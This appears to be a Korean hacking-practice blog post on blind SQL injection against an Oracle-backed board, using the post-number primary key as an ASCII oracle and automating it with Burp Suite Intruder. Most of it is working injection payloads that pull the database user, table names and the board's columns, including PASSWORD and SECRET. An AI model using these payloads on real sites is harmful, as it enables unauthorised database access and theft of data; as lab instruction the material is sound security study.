Oh! JUN

Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법) 본문

웹 해킹/SQL Injection

Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법)

Kwon Oh! JUN 2022. 9. 25. 21:00

Primarykey-Based-SQL Injection이란 이름에서 예상할 수 있다시피 테이블 제작할때 Primarykey를 활용하는 방법이다.

해당 게시판에서의 PK는 idx이다.  공격 쿼리를 보면

' and idx=ascii(substr((select user from dual),1,1))--

PK = ASCII 대입시켜서 참인경우 게시물이 검색되는 방법을 활용한 blind 공격이다.

그러다보니 PK의 범위가 ASCII에서 특수문자+숫자+대문자+소문자가 포함되어 있는 범주인 32~126가 포함되어야 공격가능하다.


Burp 잡아서 ctrl + i 단축키 활용하면 Intruder로 넘어가게 되는데 clear § 누르고

여기서 반복되는 부분에 Add §를 두 번 추가하면 반복시킬 때 이 부분을 변수처럼 활용할 수 있다.

변수부분에 반복함수를 통해서 자동화 하는 기능!


payloads 카테고리로 들어가서 payload 타입을 숫자로 바꾸고 반복 범위를 정해줄건데 

select user from daul 현재사용자 문자 개수가 14개니까 From 1 to 14이고, 1++ 해줄거니까 Step 1


option에서 Add하면 위에와 같은 창이 뜨는데 여기서 Refetch response 누르면 html코드가 뜨게된다.

여기서 idx에 해당하는 값을 드래그 매핑해주고 OK 누르면 된다.

그러면 반복 자동화 할때 idx가 바뀌는것을 확인할 수 있다.


 

start attack 눌러주면 반복실행을 하게되는데 1~14범위내에 해당하는 idx 값(검색되는 게시물 번호)을 확인할 수 있다.


idx 값을 chr() 문자형으로 변경하면 C##CREHACKTIVE 현재사용자를 확인할 수 있다.


다음으로 C##CREHACKTIVE의 table_name을 구해볼것이다. (1열)

' and idx=ascii(substr((select table_name from (select rownum r, table_name from all_tables where owner='C##CREHACKTIVE')a where a.r=1),1,1))--


TB_BOARD 테이블의 Column을 구해보자

' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=1),1,1))--

컬럼 구해보자
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=1),1,반복변수))-- 73, 68, 88 IDX
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=2),1,반복변수))-- 84, 73, 84, 76, 69 TITLE
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=3),1,반복변수))-- 67, 79, 78, 84, 69, 78, 84 CONTENT
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=4),1,반복변수))-- 87, 82, 73, 84, 69, 82 WRITER
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=5),1,반복변수))-- 80, 65, 83, 83., 87, 79, 82, 68 PASSWORD
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=6),1,반복변수))-- 83, 69, 67, 82, 69, 84 SECRET
' and idx=ascii(substr((select column_name from (select rownum r, column_name from all_tab_columns where owner='C##CREHACKTIVE' and table_name='TB_BOARD' )a where a.r=7),1,반복변수))-- 82, 69, 71, 68, 65, 84, 69 REGDATE